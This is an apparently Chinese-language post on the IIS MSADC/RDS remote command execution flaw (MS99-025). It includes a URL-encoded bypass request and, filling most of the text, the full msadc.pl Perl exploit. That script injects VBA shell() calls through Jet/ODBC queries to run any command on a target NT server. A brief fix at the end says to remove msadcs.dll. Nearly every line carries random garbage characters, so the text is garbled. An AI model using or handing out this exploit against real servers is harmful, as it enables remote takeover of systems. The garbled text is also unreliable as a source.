IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
j=\h|^gA aDlp>p^E> 涉及程序：
Fs+ tcr/\[ Microsoft NT server
O
zAIz+` @W,jy$U 描述：
)G[byBa 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
% rBz A< 1S{Biqi+ 详细：
_e%D/ } 如果你没有时间读详细内容的话，就删除:
w.qtSW6M+ c:\Program Files\Common Files\System\Msadc\msadcs.dll
BN/ 4O?jD9 有关的安全问题就没有了。
2u{~3 5 w)btv{* 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
n<?U6 ~F&~ qxL\G &~ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
7 qKz_O 关于利用ODBC远程漏洞的描述，请参看:
rd <m:r w5FIHYl6B http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm I-#H+\S F(")ga$r 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
&@=Jm
/5 http://www.microsoft.com/security/bulletins/MS99-025faq.asp }=R]<`Sj.j \#sD`O 这里不再论述。
ZOK!SBn^? 5_yQI D%Sq 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
6[bopin D9rQ%|} S /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
*TOd Iq&z 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
.i0K -B 8%rD/b 6` h p dI5 #将下面这段保存为txt文件，然后: "perl -x 文件名"
A40DbD\^ad >e]g T #!perl
fN vQ.; #
4pmeu:26 # MSADC/RDS 'usage' (aka exploit) script
=lacfPS #
dSI"yz # by rain.forest.puppy
zzmC[,u} #
_,3ljf?WQM # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
lg %fjBY # beta test and find errors!
Vax g 'n mGHorp use Socket; use Getopt::Std;
4.A^5J'W getopts("e:vd:h:XR", \%args);
!2!~_*sGe 7>hcvML print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
u nDW2#GX mh+T!v$[n) if (!defined $args{h} && !defined $args{R}) {
ew;;e|24 print qq~
4&)sROjV= Usage: msadc.pl -h <host> { -d <delay> -X -v }
#qRoTtMq 7 -h <host> = host you want to scan (ip or domain)
S
?Z h#`(* -d <seconds> = delay between calls, default 1 second
s{ ^98* -X = dump Index Server path table, if available
}D1x%L -v = verbose
G?Et$r7:R -e = external dictionary file for step 5
`kKss U< w\C1Bh! Or a -R will resume a command session
pwSgFc$ z 7UTfafOGX ~; exit;}
`IHP_IfR )Q2Ap& $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
t~2oEwTm if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
]:%DDlRb if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
?G{0{ c2 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
>t+ ENYb $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
2m Y!gVi if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
<^S\&v1C_ Bc>j5^)8w if (!defined $args{R}){ $ret = &has_msadc;
(Tx_`rO4VY die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
?<Qbp;WBo q ` S
~w print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Y:*% [\R . "cmd /c ";
vG |!d+ $in=<STDIN>; chomp $in;
@ f[- $command="cmd /c " . $in ;
+.cpZqWn3 i?L=8+ 9f if (defined $args{R}) {&load; exit;}
QE 4 VH7t^ fb print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
UiU/p &try_btcustmr;
XJul~"
T!/ o^0w print "\nStep 2: Trying to make our own DSN...";
xd?=#d &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
NKY|Z\ n6O z[7M print "\nStep 3: Trying known DSNs...";
B >{%$@4 &known_dsn;
(l 5p_x ^^ q&VL print "\nStep 4: Trying known .mdbs...";
%:26v &known_mdb;
d+n2
c`i {lK2yi if (defined $args{e}){
HDm]njF%qQ print "\nStep 5: Trying dictionary of DSN names...";
2gWR2 H@ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
lHiWzt
u ~[H8R|j " print "Sorry Charley...maybe next time?\n";
h!tpi`8\z exit;
&%J{uRp e;i 6C%DB ##############################################################################
XtCIUC{ r, .AN1Yt sub sendraw { # ripped and modded from whisker
z+Xr2 B sleep($delay); # it's a DoS on the server! At least on mine...
fY]"_ P my ($pstr)=@_;
$S>'0mL socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
V|Bwle die("Socket problems\n");
P9!awLM- if(connect(S,pack "SnA4x8",2,80,$target)){
he|Q ( ? select(S); $|=1;
D:`Q \za print $pstr; my @in=<S>;
Mi]^wCF select(STDOUT); close(S);
(KI 9j7 return @in;
K6{w M } else { die("Can't connect...\n"); }}
&C'^YF_^0 bvD}N<>3N ##############################################################################
Z+B*V )a= |s3;`Nxu 7 sub make_header { # make the HTTP request
m|NZ093d my $msadc=<<EOT
coC T]< POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Kp7D I0~ User-Agent: ACTIVEDATA
J p jHbG Host: $ip
L|1,/h
8p Content-Length: $clen
,#;hI{E Connection: Keep-Alive
@x `X| >& %?? v?M* ADCClientVersion:01.06
2ZxhV4\ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
1zRYd`IPoq [%k8l~ 6 --!ADM!ROX!YOUR!WORLD!
I<}% L
V Content-Type: application/x-varg
/? %V%
n Content-Length: $reqlen
-!!]1\S*Y Cm;cm PPl EOT
y )zZ:lyIq ; $msadc=~s/\n/\r\n/g;
?I]AE&4' return $msadc;}
^cZ< .d2 ##mZ97>$ ##############################################################################
GVhqNy
_DxHJl sub make_req { # make the RDS request
cs6oD !h my ($switch, $p1, $p2)=@_;
ti61&)( my $req=""; my $t1, $t2, $query, $dsn;
0"7+;(\1Rk 2hV -h if ($switch==1){ # this is the btcustmr.mdb query
s AFn.W $query="Select * from Customers where City=" . make_shell();
:uo) -9_ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
3JC uM_y $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
1 b 7jNkQ b |:Y3_> elsif ($switch==2){ # this is general make table query
]QlW{J $query="create table AZZ (B int, C varchar(10))";
*I :c@iCNJ $dsn="$p1";}
pZ8J\4+ G:*vV#K elsif ($switch==3){ # this is general exploit table query
rp\`uj*D $query="select * from AZZ where C=" . make_shell();
1v &!%9 $dsn="$p1";}
+iQ@J+k
k, N { elsif ($switch==4){ # attempt to hork file info from index server
g$]WKy(D $query="select path from scope()";
t]I9[5Pq\ $dsn="Provider=MSIDXS;";}
af<h2 r np2&W'C/i elsif ($switch==5){ # bad query
N]F RL\ K $query="select";
}$i"t8"s $dsn="$p1";}
Gd A!8 WVD48}HF- $t1= make_unicode($query);
t
U}6^ yc $t2= make_unicode($dsn);
)W= O~g $req = "\x02\x00\x03\x00";
Q u2
~wp< $req.= "\x08\x00" . pack ("S1", length($t1));
NsI. mTc2 $req.= "\x00\x00" . $t1 ;
D? #l8 $req.= "\x08\x00" . pack ("S1", length($t2));
A6[FH \f $req.= "\x00\x00" . $t2 ;
3IRur,|' $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
* WV=X p return $req;}
.xqi7vVHZ NCh-BinK@ ##############################################################################
;8oe -xS\+ ' pgP QM< sub make_shell { # this makes the shell() statement
ZBDF>u@ return "'|shell(\"$command\")|'";}
t+ w{uwEY a X1b(h2 ##############################################################################
(z Fqb,P umns*U%T; sub make_unicode { # quick little function to convert to unicode
id" `o my ($in)=@_; my $out;
i&m_G5u88 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
2.WI".&y= return $out;}
QM8Ic,QFvo R*vQ vO%)h ##############################################################################
PR5N:Bw
| Uics:cQC sub rdo_success { # checks for RDO return success (this is kludge)
6=n|Ha my (@in) = @_; my $base=content_start(@in);
0 g30nr) if($in[$base]=~/multipart\/mixed/){
@_f^AQ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
s! 2[zJ19p return 0;}
@<eKk.Y?+ /-v ; ##############################################################################
G@/iK/>5|` |! ]
"y< sub make_dsn { # this makes a DSN for us
fV4rV y8 my @drives=("c","d","e","f");
FzEs1hpl print "\nMaking DSN: ";
9287&+,0r foreach $drive (@drives) {
^vMlRt; print "$drive: ";
M 6&=- my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
<y8oYe_! "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Tr _gc~ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
$F^VtCx2& $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Ho&:Zs return 0 if $2 eq "404"; # not found/doesn't exist
f2[R2sto@ if($2 eq "200") {
{ol7*% u foreach $line (@results) {
Uj;JN}k return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
7LU^Xm8 } return 0;}
$M)SsD~ !#pc@(rE ##############################################################################
ef^GJTv&k pMT7 /y- sub verify_exists {
QL8C!&= my ($page)=@_;
7Tk//By7 my @results=sendraw("GET $page HTTP/1.0\n\n");
k JmwR return $results[0];}
fD@d.8nXd Xr=BxBttp ##############################################################################
F(n<:TvlK ;U>nj],uv sub try_btcustmr {
Hy4;i^Ik < my @drives=("c","d","e","f");
| ;NfH|43; my @dirs=("winnt","winnt35","winnt351","win","windows");
la<.B^ _^Q!cB'~/` foreach $dir (@dirs) {
S[ !6Lw print "$dir -> "; # fun status so you can see progress
x?o#}:S foreach $drive (@drives) {
Hmr f\(x print "$drive: "; # ditto
t3<8n;'y: $reqlen=length( make_req(1,$drive,$dir) ) - 28;
2 7N;> $reqlenlen=length( "$reqlen" );
O6NH $clen= 206 + $reqlenlen + $reqlen;
g,]o+nT ViiJDYT>E< my @results=sendraw(make_header() . make_req(1,$drive,$dir));
UB5H8&Rf! if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Q k}R cP else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
27fLW&b2 =V|jd'iwx ##############################################################################
<&Xl b0 r<fcZ)jt| sub odbc_error {
P}~MO)*1 my (@in)=@_; my $base;
m6 [ }KkW my $base = content_start(@in);
rmzzbLTu if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
H2%Qu<Kg2 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
*V hEl7 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
OY}FtG y $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
C0[U}Y/r2 return $in[$base+4].$in[$base+5].$in[$base+6];}
<4.Exha;= print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
! DOyOTR&3 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
by 'KJxl[ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
.x%w# h_?`ES I~ ##############################################################################
>I\B_q }P?e31@: sub verbose {
0&s a#g2 my ($in)=@_;
SbGdcCB return if !$verbose;
yn}Dj9(q print STDOUT "\n$in\n";}
]UUa/ep- T+nID@"36 ##############################################################################
0Q a 0 Y[f]L4,V sub save {
Lq5 xp< my ($p1, $p2, $p3, $p4)=@_;
60^j<O open(OUT, ">rds.save") || print "Problem saving parameters...\n";
> \[]z^J print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
-B#1+rUW close OUT;}
U.,S.WP+d WF`%7A39Af ##############################################################################
E>s+"y zQulPU sub load {
Z pg;hj5_ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
enJ; #aA open(IN,"<rds.save") || die("Couldn't open rds.save\n");
,i6 E L @p=<IN>; close(IN);
pi"M*$ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
vQLYWRXiA $target= inet_aton($ip) || die("inet_aton problems");
uX1; print "Resuming to $ip ...";
={;pg( $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
w"?Q0bhV9y if($p[1]==1) {
86)2\uan $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
~g/"p`2-N $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
ywJ [WfCY my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
#epbc K if (rdo_success(@results)){print "Success!\n";}
J-tqEK* else { print "failed\n"; verbose(odbc_error(@results));}}
Mu> elsif ($p[1]==3){
iY/2 `R if(run_query("$p[3]")){
w{aGH/LN print "Success!\n";} else { print "failed\n"; }}
3h:~NL elsif ($p[1]==4){
Cd)g8 < if(run_query($drvst . "$p[3]")){
0 YFXF print "Success!\n"; } else { print "failed\n"; }}
3[u-
LYW exit;}
2>9\o]ac4 F}So=Jz9h ##############################################################################
]6B9\C.2-_ ^}Vc||S sub create_table {
neM.M)0 my ($in)=@_;
nDdY~f.B $reqlen=length( make_req(2,$in,"") ) - 28;
~'lT8 n_ $reqlenlen=length( "$reqlen" );
kVQm|frUz $clen= 206 + $reqlenlen + $reqlen;
Ztmh z_u7 my @results=sendraw(make_header() . make_req(2,$in,""));
G^t)^iI"' return 1 if rdo_success(@results);
Uap0O2n my $temp= odbc_error(@results); verbose($temp);
_jG|kjFTc return 1 if $temp=~/Table 'AZZ' already exists/;
~\JB) ca . return 0;}
Zb=NcEPGy L"
ejA ##############################################################################
-c&=3O! 9SsVJ<9,R sub known_dsn {
`{!A1xKZ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
)&_bY~ P my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
SX "|~Pi( "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
uX_#NP/2 "banner", "banners", "ads", "ADCDemo", "ADCTest");
B-N//ef} 8c.>6
Hy foreach $dSn (@dsns) {
x
t-s "A print ".";
@/kI;8 next if (!is_access("DSN=$dSn"));
]:Ep1DIMl if(create_table("DSN=$dSn")){
>`UqS`YQK print "$dSn successful\n";
dP_Q kO if(run_query("DSN=$dSn")){
>hNSEWMY` print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
6d]4
%Q T print "Something's borked. Use verbose next time\n";}}} print "\n";}
a%Q`R;W c
qCNk ##############################################################################
):PN0.H8 xF!IT"5D sub is_access {
6"G(Iq'2t3 my ($in)=@_;
"L]v:lg3 $reqlen=length( make_req(5,$in,"") ) - 28;
]Ik~TW& $reqlenlen=length( "$reqlen" );
}&=l)\e $clen= 206 + $reqlenlen + $reqlen;
OU%"dmSDk my @results=sendraw(make_header() . make_req(5,$in,""));
g/. FJ-I* my $temp= odbc_error(@results);
VYb,Hmm>kC verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Ld*Ds!*'/ return 0;}
#a=]h}&1? *,G< X^ ##############################################################################
[Ix6ArY f?. VVlD sub run_query {
KX~
uE6rX my ($in)=@_;
.t\J @?Z $reqlen=length( make_req(3,$in,"") ) - 28;
L;opQ~g $reqlenlen=length( "$reqlen" );
ra*|HcLD $clen= 206 + $reqlenlen + $reqlen;
6<W^T9}v@/ my @results=sendraw(make_header() . make_req(3,$in,""));
h>!h |Ma return 1 if rdo_success(@results);
:epBd3f my $temp= odbc_error(@results); verbose($temp);
A x8 > return 0;}
>I@&"&d Q.$8>) ##############################################################################
R?)Yh.vi=t 5/P. 4<c7 sub known_mdb {
X'$H'[8;C my @drives=("c","d","e","f","g");
|u%;"N'p) my @dirs=("winnt","winnt35","winnt351","win","windows");
1R @G7m my $dir, $drive, $mdb;
#9TL5-1y my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
% TFsk F.y_H#h # this is sparse, because I don't know of many
Jf2JGTcm my @sysmdbs=( "\\catroot\\icatalog.mdb",
D,.`m X "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
#WG}"[ ,c "\\system32\\certmdb.mdb",
>oq \`E "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
h<?Px"& J k:?)0Uh%^ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
QaO9-:]eN "\\cfusion\\cfapps\\forums\\forums_.mdb",
#@ HlnF}T "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
u|wl;+. "\\cfusion\\cfapps\\security\\realm_.mdb",
$Mg O)bH "\\cfusion\\cfapps\\security\\data\\realm.mdb",
MRz f#o<H "\\cfusion\\database\\cfexamples.mdb",
k^d]E F "\\cfusion\\database\\cfsnippets.mdb",
-%J9!( "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
_"p(/ H "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Y `22DFO "\\cfusion\\brighttiger\\database\\cleam.mdb",
;v]C8 }L^ "\\cfusion\\database\\smpolicy.mdb",
ROTKK8:+: "\\cfusion\\database\cypress.mdb",
l\L71|3" g "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
[O\ )R[ J "\\website\\cgi-win\\dbsample.mdb",
tLKf]5}f "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
2gK]w$H7! "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Me z&@{ ); #these are just
UBW,Q+Q foreach $drive (@drives) {
y$fMMAN7 foreach $dir (@dirs){
W 3/]
2"0 foreach $mdb (@sysmdbs) {
r(wf >w3 print ".";
40=u/ \/K if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
4PD5i print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
)kjQ W&)g if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
bJPKe]spJ= print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
r Yt|[Pk } else { print "Something's borked. Use verbose next time\n"; }}}}}
kO`!!M[Oo x_O:IK.> foreach $drive (@drives) {
|(tl
a_LE foreach $mdb (@mdbs) {
u y2~<) print ".";
Y!]a*== if(create_table($drv . $drive . $dir . $mdb)){
}8 ;,2E*z print "\n" . $drive . $dir . $mdb . " successful\n";
H5d@TB, ` if(run_query($drv . $drive . $dir . $mdb)){
56YqYu. print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
='.b/]! _ } else { print "Something's borked. Use verbose next time\n"; }}}}
0
J "g "= }
u `w w l$!ExXEZO; ##############################################################################
V"8Go; [ &&$*MHJ sub hork_idx {
3-{WFnA print "\nAttempting to dump Index Server tables...\n";
b&E"r*i| print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
M3UC 9t9] $reqlen=length( make_req(4,"","") ) - 28;
gcwJ{& $reqlenlen=length( "$reqlen" );
Y/UvNb<lK $clen= 206 + $reqlenlen + $reqlen;
vO?sHh my @results=sendraw2(make_header() . make_req(4,"",""));
Zt41f PQ if (rdo_success(@results)){
N:64Gko"K my $max=@results; my $c; my %d;
>P(.yQ8&kL for($c=19; $c<$max; $c++){
/Cwwz $results[$c]=~s/\x00//g;
1Bs t| $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
*lZ V3F $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
8[@Y`j8 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
4#W$5_Ny $d{"$1$2"}="";}
0u" j^v foreach $c (keys %d){ print "$c\n"; }
tol-PJS} } else {print "Index server doesn't seem to be installed.\n"; }}
(5`(H.( A] QGaWK ##############################################################################
;XNC+mPK KRm)|bg E sub dsn_dict {
@ukL! AV?Y open(IN, "<$args{e}") || die("Can't open external dictionary\n");
~)pZ5%C while(<IN>){
o:UNSr $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
)RFY2 } next if (!is_access("DSN=$dSn"));
%! Sj bh if(create_table("DSN=$dSn")){
GZ5 DI+3 print "$dSn successful\n";
4VF]t X?o if(run_query("DSN=$dSn")){
ci? \W6 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
mK7SE H; print "Something's borked. Use verbose next time\n";}}}
qldm"Ul print "\n"; close(IN);}
PU\xF t 7^.g\Kt? ##############################################################################
j?tE# +#>nOn(B sub sendraw2 { # ripped and modded from whisker
6 Yva4Lv sleep($delay); # it's a DoS on the server! At least on mine...
6C"${}S F` my ($pstr)=@_;
jN=
!Q&^i[ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
{ LKW%G7 die("Socket problems\n");
GRj [2I7: if(connect(S,pack "SnA4x8",2,80,$target)){
Su@V5yz print "Connected. Getting data";
3&[ d.,/ open(OUT,">raw.out"); my @in;
_W Hi<,- select(S); $|=1; print $pstr;
+Y+fM while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
V@z/%=PJ close(OUT); select(STDOUT); close(S); return @in;
(O:&RAkk7 } else { die("Can't connect...\n"); }}
:`BG/ 7/]R a ##############################################################################
}`0=\cKqn 6L~5 qbQ sub content_start { # this will take in the server headers
S{XO3 my (@in)=@_; my $c;
\qW^AD(it< for ($c=1;$c<500;$c++) {
T|$tQg Y^ if($in[$c] =~/^\x0d\x0a/){
{J)gS if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
asvM/ 9 else { return $c+1; }}}
'T|QG@q return -1;} # it should never get here actually
u&`rK7 J OWr\$lm@z$ ##############################################################################
IWddJb~hu H2g#'SK @ sub funky {
{P ?p*2J' my (@in)=@_; my $error=odbc_error(@in);
Hjs#p{t[ if($error=~/ADO could not find the specified provider/){
W>CG;x{ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
o<s~455m/ exit;}
M_$;"NS+} if($error=~/A Handler is required/){
j~in%|^ print "\nServer has custom handler filters (they most likely are patched)\n";
R4[|f0l}s exit;}
#8v l2qWbi if($error=~/specified Handler has denied Access/){
-idbR[1{? print "\nServer has custom handler filters (they most likely are patched)\n";
T-s[na(/L exit;}}
>Wd=+$!I *g'%5i1ed ##############################################################################
(L1O;~$ /_(l :q^ sub has_msadc {
=td(}3|D
Y my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
BG-nf1K( my $base=content_start(@results);
Y)S
f; return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
QUXr#!rPY| return 0;}
XGnC8Be{4 R6GlQ G ########################
hR [_1vuIu ey>tUmt6? L?(1
[jB4G 解决方案：
T-oUcuQB 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
]xV2= !J 2、移除web 目录: /msadc
